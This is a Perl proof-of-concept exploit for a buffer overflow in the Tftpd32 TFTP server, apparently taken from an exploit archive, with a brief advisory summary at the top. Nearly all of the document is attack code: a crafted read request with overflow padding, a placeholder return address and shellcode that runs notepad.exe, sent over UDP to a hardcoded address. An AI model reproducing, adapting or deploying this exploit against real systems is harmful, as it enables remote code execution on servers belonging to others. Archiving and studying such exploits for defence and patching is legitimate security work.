880bbe402e
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45 lines
No EOL
1.4 KiB
Perl
Executable file
45 lines
No EOL
1.4 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/6199/info
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A buffer-overflow vulnerability has been reported for Tftpd32. The vulnerability is due to insufficient checks on user-supplied input.
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A remote attacker can exploit this vulnerability by supplying a long string as a name of the file to retrieve. This will trigger the buffer-overflow condition. Any malicious attacker-supplied code will be executed with the privileges of the Tftpd32 process.
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#!/usr/bin/perl
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#TFTP Server remote Buffer Overflow
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use IO::Socket;
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$host = "192.168.1.53";
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$port = "69";
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$data = "A";
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#$buf .= "\x00\x02"; # Send ---- Choose one
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$buf .= "\x00\x01"; # Recieve
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$buf .= "A";
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$num = "116";
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$buf .= $data x $num;
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$buf .= ".";
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$num = "140"; # EIP section
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$buf .= $data x $num;
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$address = "\xFF\xFF\xFF\xFF";
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$buf .= $address;
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$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
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$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
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$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
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$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
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$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
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$egg .= "notepad.exe";
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$egg .= "\x90\x90\x90\x90\x90\x90";
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$buf .= $egg;
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$buf .= "\x00binary\x00";
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$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
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$@\n";
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$ipaddr = inet_aton($host) || $host;
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$portaddr = sockaddr_in($port, $ipaddr);
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send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
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$!\n";
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print "Now, '$host' should open up a notepad\n"; |